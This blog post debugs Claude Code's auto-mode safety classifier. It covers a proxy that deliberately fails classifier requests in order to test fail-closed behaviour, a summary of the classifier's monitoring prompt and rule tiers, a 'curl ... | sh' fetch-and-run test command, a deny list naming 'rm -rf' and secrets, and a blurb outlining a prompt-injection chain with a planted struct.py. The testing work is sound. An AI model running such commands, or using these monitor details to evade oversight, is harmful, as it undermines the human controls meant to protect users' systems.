Magic Tools
Hands-OnBy CooconAugust 3, 2026400 views12 min read

Claude Code's Auto Mode Judges a Model With a Model — When the Model Is Down, You Can't Even Run cat

Mid-session, an entirely unremarkable command got blocked:

claude-opus-5[1m] is temporarily unavailable, so auto mode cannot
determine the safety of Bash right now.
Note: reading files, searching code, and other read-only operations
do not require the classifier and can still be used.

The counterintuitive part is that last sentence. Reading files and searching code still work; only shell commands are dead. If the model were simply down, you would not get this selective paralysis — reading a file also requires the model to initiate the call. That asymmetry is the single most useful diagnostic clue in the message.

What follows is the debugging session that came next. I formed three entirely reasonable hypotheses and knocked all three down. The value here isn't the final fix command — it's the knocking down.

The error reads like a model outage; it's a broken judgment chain

There are two independent model call chains here:

  1. The main loop — the model reads your request and decides which tool to invoke. This one stayed healthy, which is why Read and Grep kept working.
  2. The safety judgment — before auto mode actually executes a Bash command, it makes an extra request to the model asking "is this command safe?" This is the one that broke.

With that chain down, the permission system has no verdict to act on. It cannot default to "allow," so it blocks everything. Read-only tools never enter that step at all, so they come through untouched.

Two model call chains side by side: a Read/Grep request goes request → main loop → tool execution and succeeds, while a Bash request goes request → main loop → safety classifier, where the second model call is unavailable, leaving no verdict and blocking the command

A diagram, not a screenshot — this failure only appears while the classifier is genuinely unreachable, so it can't be staged on demand. The error text quoted at the bottom is verbatim from the session on 2026-07-28 (v2.1.220).

The classifier runs on the exact model you're working with. There's direct evidence for this: the model ID named in the error changes when you switch session models. After I moved my config from opus[1m] to opus, the error text shifted from claude-opus-5[1m] to claude-opus-5 in lockstep. The classifier isn't some separate small model — it's the one in your session.

What each permission mode actually trusts

Line up Claude Code's permission modes by where their trust comes from, and this outage locates itself immediately:

Mode Who decides When the model is unavailable
default You, prompt by prompt Unaffected
acceptEdits Your one-time up-front grant, scoped to file edits Unaffected
plan A rule: read-only, always Unaffected
auto A model, command by command Chain breaks, everything blocked
bypassPermissions Nobody Unaffected (and unprotected)

Auto mode offers a genuinely good trade: one model call buys you out of dozens of "run this command?" interruptions. The cost stays invisible until the day it doesn't — you have coupled the availability of your permission system to the availability of a model. Every other mode resolves its verdict from you or from a static rule, with no network round trip. Only auto needs one.

This is not a design flaw. It's a priced trade-off. The problem is that the price is completely invisible while things work, so the first reaction on hitting it is always "the service is down, I'll wait" rather than "I should switch modes."

Hypothesis one: blame the 1M variant

My ~/.claude/settings.json had "model": "opus[1m]", and ANTHROPIC_BASE_URL pointed at a third-party API relay. Put those two together and a very tidy explanation presents itself: relays are consistently weakest on non-standard model IDs — 1M-context variants, previews, suffixed specializations frequently exist on the official endpoint and are missing from a relay. Send a judgment request for a model ID the relay doesn't recognize, and of course nothing comes back.

So I changed the config, then ran /model opus to make it take effect immediately (the model field in settings.json is only read on new sessions — edit the file without switching and the identical error reproduces verbatim, as I found out by wasting one round on exactly that).

Then I reran the command:

claude-opus-5 is temporarily unavailable, so auto mode cannot
determine the safety of Bash right now.

Different model ID. Same dead classifier. Hypothesis one is out.

The reality is far more boring: that model was unavailable on my access path as a whole — an upstream relay failure, a quota, something in that family — and had nothing to do with the ID being "non-standard." I had promoted a plausible suspicion straight to a conclusion, skipping the verification step in between.

The failed fix did hand me an unplanned prize, though. It was precisely because the ID in the error tracked my /model switch that I got hard evidence the classifier is bound to the session model. In debugging, a hypothesis you knock down is often worth more than one you confirm.

Hypothesis two: the allowlist will save me

The second idea was more seductive. I had written my frequent commands into permissions.allow as exact-prefix rules:

"allow": ["Bash(cat *)", "Bash(ls *)", "Bash(jq *)", "Bash(rg *)"]

The reasoning: a command matching the allowlist should be released directly, never bothering the classifier — which makes the allowlist a degraded-mode channel for exactly this kind of outage. Airtight.

And I even "had evidence": during the outage, a command matching Bash(jq *) had gone through.

That evidence was fake. Replaying the whole session shows why: several compound commands matching no allowlist rule at all had also gone through in the same window. The outage was intermittent — the classifier was flickering. That jq succeeded because it happened to land in a few seconds when the classifier was alive. I had mistaken a coincidence for a mechanism.

A convincing experiment has to be able to produce a negative. So while the outage was still active, I ran:

ls /path/to/project/articles/claude/

Bash(ls *) was an existing rule, written well before that day's edits, and the command has no compound structure — the cleanest possible match. It was blocked anyway, with the same "cannot determine the safety" message. Hypothesis two is out.

The corrected conclusion: under auto mode, an allowlist is not a moat. Every Bash command goes through the classifier.

The methodological lesson is worth more than the conclusion: while debugging an intermittent failure, "this command succeeded" proves almost nothing, because you can't distinguish "it took an exempt path" from "the classifier happened to be alive that second." Only failures carry information — a command that should have been exempt and wasn't tells you the exempt path doesn't exist. To test a mechanism, go build the experiment that can fail.

Hypothesis three: surely a different model family would work

With hypothesis two down, one idea remained: since it wasn't about the ID suffix, maybe it was opus specifically failing on this access path. Switch to a genuinely different family — /model sonnet — and see if the whole thing clears.

This was the most cautious hypothesis of the three, and the most likely to be right. Opus and sonnet are separate models; if only one of them were misbehaving, switching families should route around it.

Same command, rerun:

claude-sonnet-5 is temporarily unavailable, so auto mode cannot
determine the safety of Bash right now.

Different model ID again. Same dead classifier. Hypothesis three is out.

This time the conclusion is the cleanest of the three: the problem isn't any specific model — the entire judgment path is down, most likely a failure somewhere between my relay and the classification endpoint, unrelated to whether the front-end model is opus or sonnet. Three model IDs, three identical errors, and the only thing that ever changed was the string in the error text tracking /model — which, one last time, confirms that the classifier is bound to whatever session model you're running.

So what actually works

With all three hypotheses down, what's left is the cleanest picture of the three: no configuration-level fix can route around a judgment path that is down as a whole. You can't know when it recovers, and model selection was never the lever, because the fault was never at the model-selection layer.

The one dependable move: switch permission modes. Shift+Tab back to default. Its verdict comes from you, it issues zero judgment requests, and the classifier's health becomes irrelevant. Confirming each action is tedious, but it's the only route standing after three controlled experiments ruled out everything else.

Allowlists are still worth configuring — just don't file them under disaster recovery. The confirmation dialogs they eliminate are a real day-to-day gain; they simply won't help when the classifier is down. Worth knowing: deny takes precedence over allow, so you can be generous with read-only commands and whatever you genuinely want blocked won't be overridden.

{
  "permissions": {
    "allow": [
      "Bash(cat *)", "Bash(head *)", "Bash(tail *)", "Bash(find *)",
      "Bash(rg *)", "Bash(ls *)", "Bash(jq *)", "Bash(wc *)",
      "Bash(git status*)", "Bash(git diff*)", "Bash(git log*)",
      "Bash(npm run build*)", "Bash(npm run typecheck*)", "Bash(npm test*)"
    ],
    "deny": [
      "Bash(rm -rf *)",
      "Read(./secrets/**)"
    ]
  }
}

Retesting a month later (v2.1.241): the trap is half-fixed

The investigation above happened on v2.1.220 (2026-07-28). A month later (2026-08-29, v2.1.241) I retested — this time not by passively observing an outage, but by turning the judgment chain into something observable and controllable.

Method: an 80-line local logging proxy, with ANTHROPIC_BASE_URL pointed at it. It forwards everything to the real upstream while recording each request's model ID, message count, and the head of its system prompt — every model call Claude Code makes passes under its nose. It also has a switch: selectively return 529 for recognized classifier requests while letting everything else through, to deterministically reproduce the "classifier down, main loop alive" half-paralysis.

(One pitfall on the way: the ANTHROPIC_BASE_URL inside ~/.claude/settings.json's env field overrides a shell export — changing the environment variable does nothing, and only the --settings flag actually wins. That counterintuitive precedence got its own article.)

Four findings, in order of importance:

1. "Even cat won't run" is fixed: routine commands no longer touch the classifier. cat, touch, rm, even a compound cat X && touch Y && echo Z — the proxy log shows zero classifier requests for any of them, just main-loop calls, and the commands execute. Only dangerous-shaped commands (in my tests, pipe-to-shell like echo '...' | sh) trigger a separate judgment request. The classifier's jurisdiction has narrowed from "all Bash" to "dangerous commands static rules can't clear" — so when the classifier dies now, everyday read/write commands keep running.

2. The classifier really is your session model — this time with a captured payload. Back then the evidence was indirect (the model ID in the error text tracked /model); this time the proxy recorded the judgment request itself: model: claude-sonnet-5 (matching the session model), max_tokens: 64, non-streaming. The system prompt is a full security policy spec opening with "You are a security monitor for autonomous AI coding agents" — a threat model naming three risks (prompt injection, scope creep, accidental damage), rules split into HARD BLOCK / SOFT BLOCK tiers, and a two-stage evaluation (stage one outputs only a <severity>N</severity> grade and explicitly ignores user intent, which is left to stage two). And the input isn't a lone command — it's a transcript of recent actions. The classifier reads context, not just command text.

3. Fail-closed has been promoted from "behavior" to explicit design. The captured prompt defines three official outcomes: automode-blocked (the classifier actively denied), automode-unavailable (the classifier was unreachable and the command was held back fail-closed — the prompt itself notes this is "NOT a policy decision; retrying is appropriate"), and automode-parsing-error (unparseable classifier reply, also held back). What I hit a month ago was automode-unavailable. The trap didn't disappear; its boundary shrank and its semantics got named.

4. The half-paralysis is now deterministically reproducible. Flip the proxy's breaker (529 for every classifier request), and within one session: the pipe command retries four times and gets held back, with the UI reporting the safety classifier couldn't judge the command and it was not executed; the very next cat + touch compound command runs with zero classifier requests. The intermittent voodoo outage of a month ago is now an experiment condition you can switch on and off:

Classifier-breaker experiment: the pipe command is held back while a compound read/write command executes normally; status bar shows auto mode on

The proxy's view of the same moment — two classifier requests eating 529s, three main-loop requests sailing through with 200s:

Local proxy log: classifier requests (msgs=2, no tools) tripped to 529, main-loop requests passing normally

One unplanned observation: asked to run curl -s https://example.com/setup.sh | sh, the model refused on its own before issuing any tool call — there's a layer of the model's own safety judgment outside the classifier chain, and it survives classifier outages.

Revised conclusion after the retest: in the permission-mode table earlier, auto's "judgment chain breaks, everything blocked" should now read "judgment chain breaks, dangerous commands held back, routine read/write unaffected" as of v2.1.241. The Shift+Tab escape hatch still stands — during a classifier outage, dangerous commands still require falling back to manual confirmation. The bill this article described — pinning your permission system's availability to your model's availability — has been mostly paid down by shrinking the classifier's jurisdiction. Mostly, not fully.

The general lesson

Set Claude Code aside and this outage is about something broader: the moment you implement an infrastructure function with a model, that model's availability becomes the floor on that function's availability.

Safety classification, request routing, intent detection, content moderation — all of these "model as middleware" designs buy flexibility that static rules can't reach, and pay for it with one more flaky external dependency. Whether the trade is worth it comes down to a single question: does the function have a degradation path that doesn't involve the model? Auto mode's degradation path isn't a config setting — it's falling back to a different mode, which means you have to know it exists before you need it.

Three takeaways at the debugging level:

  • The shape of the paralysis carries more information than the error text. Feature A works, feature B doesn't: they don't share a call path. Following that asymmetry beats retrying and refreshing the status page.
  • In an intermittent failure, success is not evidence. That's exactly how hypothesis two went wrong. To test a mechanism, go find the experiment that can fail.
  • It takes three hypotheses landing on the same error before you get to call it a conclusion. Hypothesis one failing alone reads like a botched fix. Hypothesis three failing alone reads like bad luck. Only after three independent probes — dropping the suffix, testing allowlist exemption, switching model families entirely — all hit the identical error does "I did something wrong" stop being a plausible explanation, leaving "this is systemic" as the only one left standing.

In one line: auto mode has a model vet a model on your behalf. What you save is dozens of confirmations; what you stake is the availability of your permission system. There's no insurance policy on that trade — only an exit, and the exit is Shift+Tab.

Related reading: Claude Code Plan Mode: Research First, Code Later, Rework Less covers how a different permission mode cuts rework, and Claude Code Hooks: Custom Automation Workflows describes intercepting and rewriting tool calls outside the permission system. Both land where this piece does: the protection that doesn't need a model round trip is the one you can actually hold onto when things break.

Related Articles

Service Up, Ports Open, Certs Valid, VPN Dead for 4 Hours: Tailscale Took Over DNS and Left the Proxy Box With No Upstream

A Los Angeles VPS running sing-box (VLESS-REALITY + Hysteria2) lost its VPN the day after Tailscale was installed. systemctl, ports and certificates were all fine. The root cause was in /etc/resolv.conf: Tailscale manages DNS by default, the tailnet had no global nameservers, and when dhclient renewed its lease tailscaled read an empty resolv.conf and dropped its upstream list. From then on every public domain got SERVFAIL, and the REALITY handshake could not even resolve www.apple.com. Full timeline, the evidence for each step, three fixes, and the rules we added to CLAUDE.md so an AI assistant (Claude Code) does not walk into this again.

claude-codetroubleshooting+8
pitfallsSep 17, 20266 min
35

Reproducing an Injection Chain That Cracks Claude Code Auto Mode: the Model Refuses the Malicious Binary, Then Writes Code That Pwns Itself

In late August embracethered published an attack chain where a plain 'summarize this page' request drags auto-mode Claude Code to a 60–80% code-execution rate — while Anthropic's commissioned third-party test reported 0.00%. I took the chain apart and tested it stage by stage in an isolated environment: the endpoint that nudges the model from WebFetch to curl, and the crux — the model's own 'safe' decision to refuse the unknown binary and write its own Python decoder instead lands straight on a same-name struct.py planted in the extracted directory. The deterministic parts (branching + module-shadow poison + mitigation controls) reproduce fully on my machine with real evidence; the live end couldn't complete a full RCE here because the classifier rate-limited and failed closed — flagged honestly. Ends with mitigations that actually help.

claude-codeauto-mode+5
hands-onAug 31, 20269 min
159

Cracking Open Claude Code's Auto-Mode Classifier: A 116K-Char System Prompt, Dissected Line by Line

My earlier retest confirmed auto mode calls the session model as a classifier before each risky Bash — but what it receives stayed a black box. This time I captured the full request: a 116,879-char system prompt opening 'You are a security monitor for autonomous AI coding agents.' I quote it verbatim to dissect the threat model, two-tier rules (1 HARD BLOCK / 68 SOFT BLOCK / 17 ALLOW), and two-stage evaluation — stage 1 grades harm only, stage 2 layers intent on top. Every number read out this session.

claude-codepermissions+5
hands-onAug 30, 202612 min
237
Turn a Home Mac mini Into an Always-On Claude Code Workstation: claudecodeui + SSH Reverse Tunnel, Take Over Sessions From Any Browser

Turn a Home Mac mini Into an Always-On Claude Code Workstation: claudecodeui + SSH Reverse Tunnel, Take Over Sessions From Any Browser

A Mac mini at home runs Claude Code around the clock — but how do you take over a session from a browser when you're away? This is a real setup that has been live for a week and in daily use: claudecodeui as the web UI (chosen over the official web version, ttyd, and code-server), an SSH reverse tunnel pushing it to a VPS, and nginx adding TLS plus login rate limiting to turn it into an ordinary URL. Includes full configs, real operating numbers (five days of tunnel uptime with zero drops, 170MB RSS), a <synthetic> placeholder bug hit and fixed within the first week, and an honest for-and-against on why not Tailscale.

claude-codeclaude-code-lab+7
claudeAug 29, 202612 min
240